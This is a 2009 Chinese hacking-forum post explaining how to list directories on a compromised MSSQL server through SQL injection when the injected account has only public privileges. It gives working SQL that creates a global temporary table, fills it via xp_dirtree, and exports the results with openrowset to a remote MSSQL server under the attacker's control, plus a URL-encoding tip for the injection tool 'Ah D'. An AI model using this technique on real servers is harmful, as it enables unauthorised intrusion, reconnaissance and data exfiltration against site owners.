找回密码
 开放注册

QQ登录

只需一步,快速开始

微信登录

微信扫码,快速开始

搜索
查看: 1199|回复: 0

public权限也能列目录!

[复制链接]

71

主题

325

回帖

708

牛毛

一级牛人

积分
708
发表于 2009-5-18 21:26:02 | 显示全部楼层 |阅读模式 来自 湖北省武汉市硚口区
很多朋友在注入的时候,当啊D显示是db_owner权限的时候,却无法列目录!我也碰到过不少次,按理说db_owner绝对是可以列目录的。出现无法列目录可能是不支持多语句执行,还有一种情况是public权限。啊D误报。个人感觉啊D在这个方面误报率很高,貌似在啊D眼里只有sa和db_owner。可以手工检测下是不是public权限,用其他工具也行。如果是public权限,那么是不是无法列目录呢?答案是否定的!
     很多人都认为public权限下无法建表,所以也无法列目录!其实不然,正常情况下public确实无法建表
但是可以建临时表 即在表名前加上#或者##
#-----为本地临时表
##----为全局临时表
看如下代码:
create table ##temp(
dir ntext,
num int
)
--调用存储过程把执行回来的数据存到临时表里面
insert ##temp execute master..xp_dirtree 'd:\',1
--然后采用openrowset函数把临时表的数据导到本地MSSQL 的dirtree表里面了
insert into openrowset('sqloledb', '192.0.0.1';'user';'pass', 'select * from Northwind.dbo.dirtree')
select * from ##temp
以上方法,也就是说public可以遍历用户服务器的目录
在啊D中,只要把临时表名加前加##就可以了,但要注意URL转码,即写成:%23%23nonamed就OK了!
您需要登录后才可以回帖 登录 | 开放注册

本版积分规则

帮助|Archiver|小黑屋|通信管理局专项备案号:[2008]238号|NB5社区 ( 皖ICP备08004151号;皖公网安备34010402700514号 )

GMT+8, 2025-4-29 01:21 , Processed in 0.153923 second(s), 33 queries .

Powered by Discuz! X3.5

快速回复 返回顶部 返回列表